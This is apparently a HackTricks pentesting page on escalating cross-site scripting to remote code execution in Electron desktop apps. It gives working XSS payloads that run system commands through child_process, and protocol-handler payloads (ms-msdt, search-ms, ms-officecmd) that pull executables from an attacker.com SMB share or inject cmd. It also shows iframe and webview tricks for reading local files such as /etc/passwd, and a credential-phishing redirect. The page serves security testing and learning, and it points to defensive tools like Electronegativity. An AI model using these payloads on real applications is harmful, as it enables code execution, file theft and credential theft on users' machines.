XSS to RCE Electron Desktop Apps
- Do you work in a cybersecurity company? Do you want to see your company advertised in HackTricks? or do you want to have access to the latest version of the PEASS or download HackTricks in PDF? Check the SUBSCRIPTION PLANS!
Electron is based on Chromium, but it is not a browser. Certain principles and security mechanisms implemented by modern browsers are not in place.
You could see Electron like a local backend+frontend app where NodeJS is the backend and chromium is the frontend.
Usually you might find the electron app code inside an
.asar
application, in order to obtain the code you need to extract it:npx asar extract app.asar destfolder #Extract everything
npx asar extract-file app.asar main.js #Extract just a file
In the source code of an Electron app, inside
packet.json
, you can find specified the main.js
file where security configs ad set.{
"name": "standard-notes",
"main": "./app/index.js",
Electron has 2 process types:
- Main Process (has complete access to NodeJS)
- Renderer Process (should have NodeJS restricted access for security reasons)

A renderer process will be a browser window loading a file:
const {BrowserWindow} = require('electron');
let win = new BrowserWindow();
//Open Renderer Process
win.loadURL(`file://path/to/index.html`);
Settings of the renderer process can be configured in the main process inside the main.js file. Some of the configurations will prevent the Electron application to get RCE or other vulnerabilities if the settings are correctly configured.
The desktop application might have access to the user’s device through Node APIs. The following two configurations are responsible for providing mechanisms to prevent the application JavaScript from having direct access to the user’s device and system level commands.
nodeIntegration
- isoff
by default. If on, allows to access node features from the renderer process.contextIsolation
- ison
by default. If on, main and renderer processes aren't isolated.preload
- empty by default.- Node Integration in Workers
nodeIntegrationInSubframes
- isoff
by default.- If
nodeIntegration
is enabled, this would allow the use of Node.js APIs in web pages that are loaded in iframes within an Electron application. - If
nodeIntegration
is disabled, then preloads will load in the iframe
Example of configuration:
const mainWindowOptions = {
title: 'Discord',
backgroundColor: getBackgroundColor(),
width: DEFAULT_WIDTH,
height: DEFAULT_HEIGHT,
minWidth: MIN_WIDTH,
minHeight: MIN_HEIGHT,
transparent: false,
frame: false,
resizable: true,
show: isVisible,
webPreferences: {
blinkFeatures: 'EnumerateDevices,AudioOutputDevices',
nodeIntegration: false,
contextIsolation: false,
sandbox: false,
nodeIntegrationInSubFrames: false,
preload: _path2.default.join(__dirname, 'mainScreenPreload.js'),
nativeWindowOpen: true,
enableRemoteModule: false,
spellcheck: true
}
};
Example Payloads (Windows):
<img src=x onerror="alert(require('child_process').execSync('calc').toString());">
Example Payloads (Linux & MacOS):
<img src=x onerror="alert(require('child_process').execSync('gnome-calculator').toString());">
<img src=x onerror="alert(require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator').toString());">
<img src=x onerror="alert(require('child_process').execSync('id').toString());">
<img src=x onerror="alert(require('child_process').execSync('ls -l').toString());">
<img src=x onerror="alert(require('child_process').execSync('uname -a').toString());">
Modify the start-main configuration and add the use of a proxy such as:
"start-main": "electron ./dist/main/main.js --proxy-server=127.0.0.1:8080 --ignore-certificateerrors",
If the nodeIntegration is set to on, a web page's JavaScript can use Node.js features easily just by calling the
require()
. For example, the way to execute the calc application on Windows is:<script>
require('child_process').exec('calc');
// or
top.require('child_process').exec('open /System/Applications/Calculator.app');
</script>

The script indicated in this setting is loaded before other scripts in the renderer, so it has unlimited access to Node APIs:
new BrowserWindow{
webPreferences: {
nodeIntegration: false,
preload: _path2.default.join(__dirname, 'perload.js'),
}
});
Therefore, the script can export node-features to pages:
preload.js
typeof require === 'function';
window.runCalc = function(){
require('child_process').exec('calc')
};
index.html
<body>
<script>
typeof require === 'undefined';
runCalc();
</script>
</body>
If
contextIsolation
is on, this won't workThe contextIsolation introduces the separated contexts between the web page scripts and the JavaScript Electron's internal code so that the JavaScript execution of each code does not affect each. This is a necessary feature to eliminate the possibility of RCE.
If the contexts aren't isolated an attacker can:
- 1.Execute arbitrary JavaScript in renderer (XSS or navigation to external sites)
- 2.Overwrite the built-in method which is used in preload or Electron internal code to own function
- 3.Trigger the use of overwritten function
- 4.RCE?
There are 2 places where built-int methods can be overwritten: In preload code or in Electron internal code:
If there are restrictions applied when you click a link you might be able to bypass them doing a middle click instead of a regular left click
window.addEventListener('click', (e) => {
If the Electron desktop application is deployed with proper
nodeIntegration
, contextIsolation
settings; it simply means that client-side RCE by targeting preload scripts or Electron native code from the main process can not be achieved.Each time a user clicks the link or opens a new window, the following event listeners are invoked:
webContents.on("new-window", function (event, url, disposition, options) {}
webContents.on("will-navigate", function (event, url) {}
The desktop application overrides these listeners to implement the desktop application’s own business logic. During the creation of new windows, the application checks whether the navigated link should be opened in a desktop application’s window or tab, or whether it should be opened in the web browser. In our example the verification is implemented with the function
openInternally
, if it returns false
, the application will assume that the link should be opened in the web browser using the shell.openExternal
function.Here is a simplified pseudocode:


Accordingly to Electron JS security best practices, the
openExternal
function should not accept untrusted content because that could lead to RCE abusing different potocols if the application does not limit users navigation through protocols such as https:// or http://.Different OS support different protocols that could trigger RCE, for more info about them check https://positive.security/blog/url-open-rce but here you have some Windows examples:
<script>
window.open("ms-msdt:id%20PCWDiagnostic%20%2Fmoreoptions%20false%20%2Fskip%20true%20%2Fparam%20IT_BrowseForFile%3D%22%5Cattacker.comsmb_sharemalicious_executable.exe%22%20%2Fparam%20IT_SelectProgram%3D%22NotListed%22%20%2Fparam%20IT_AutoTroubleshoot%3D%22ts_AUTO%22")
</script>
<script>
window.open("search-ms:query=malicious_executable.exe&crumb=location:%5C%[5Cattacker.com](<http://5cattacker.com/>)%5Csmb_share%5Ctools&displayname=Important%20update")
</script>
<script>
window.open("ms-officecmd:%7B%22id%22:3,%22LocalProviders.LaunchOfficeAppForResult%22:%7B%22details%22:%7B%22appId%22:5,%22name%22:%22Teams%22,%22discovered%22:%7B%22command%22:%22teams.exe%22,%22uri%22:%22msteams%22%7D%7D,%22filename%22:%22a:/b/%2520--disable-gpu-sandbox%2520--gpu-launcher=%22C:%5CWindows%5CSystem32%5Ccmd%2520/c%2520ping%252016843009%2520&&%2520%22%22%7D%7D")
</script>
For more info about this examples check https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8 and https://benjamin-altpeter.de/shell-openexternal-dangers/
If
contextIsolation
set to false you can try to use <webview> (similar to <iframe> but can load local files) to read local files and exfiltrate them: using something like <webview src=”file:///etc/passwd”></webview>:
<br><BR><BR><BR>
<h1>pwn<br>
<iframe onload=j() src="/etc/hosts">xssxsxxsxs</iframe>
<script type="text/javascript">
function j(){alert('pwned contents of /etc/hosts :\n\n '+frames[0].document.body.innerText)}
</script>
If the chromium used by the application is old and there are known vulnerabilities on it, it might be possible to to exploit it and obtain RCE through a XSS.
You can see an example in this writeup: https://blog.electrovolt.io/posts/discord-rce/
Supposing you found a XSS but you cannot trigger RCE or steal internal files you could try to use it to steal credentials via phishing.
First of all you need to know what happen when you try to open a new URL, checking the JS code in the front-end:
webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below)
webContents.on("will-navigate", function (event, url) {} // opens the custom openInternally function (it is declared below)
The call to
openInternally
will decide if the link will be opened in the desktop window as it's a link belonging to the platform, or if will be opened in the browser as a 3rd party resource.In the case the regex used by the function is vulnerable to bypasses (for example by not escaping the dots of subdomains) an attacker could abuse the XSS to open a new window which will be located in the attackers infrastructure asking for credentials to the user:
<script>
window.open("<http://subdomainagoogleq.com/index.html>")
</script>
- Electronegativity is a tool to identify misconfigurations and security anti-patterns in Electron-based applications.
- Electrolint is an open source VS Code plugin for Electron applications that uses Electronegativity.
In https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s you can find a lab to exploit vulnerable Electron apps.
Some commands that will help you will the lab:
# Download apps from these URls
# Vuln to nodeIntegration
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable1.zip
# Vuln to contextIsolation via preload script
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable2.zip
# Vuln to IPC Rce
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable3.zip
# Get inside the electron app and check for vulnerabilities
npm audit
# How to use electronegativity
npm install @doyensec/electronegativity -g
electronegativity -i vulnerable1
# Run an application from source code
npm install -g electron
cd vulnerable1
npm install
npm start
- More researches and write-ups about Electron security in https://github.com/doyensec/awesome-electronjs-hacking
- Do you work in a cybersecurity company? Do you want to see your company advertised in HackTricks? or do you want to have access to the latest version of the PEASS or download HackTricks in PDF? Check the SUBSCRIPTION PLANS!
Last modified 5mo ago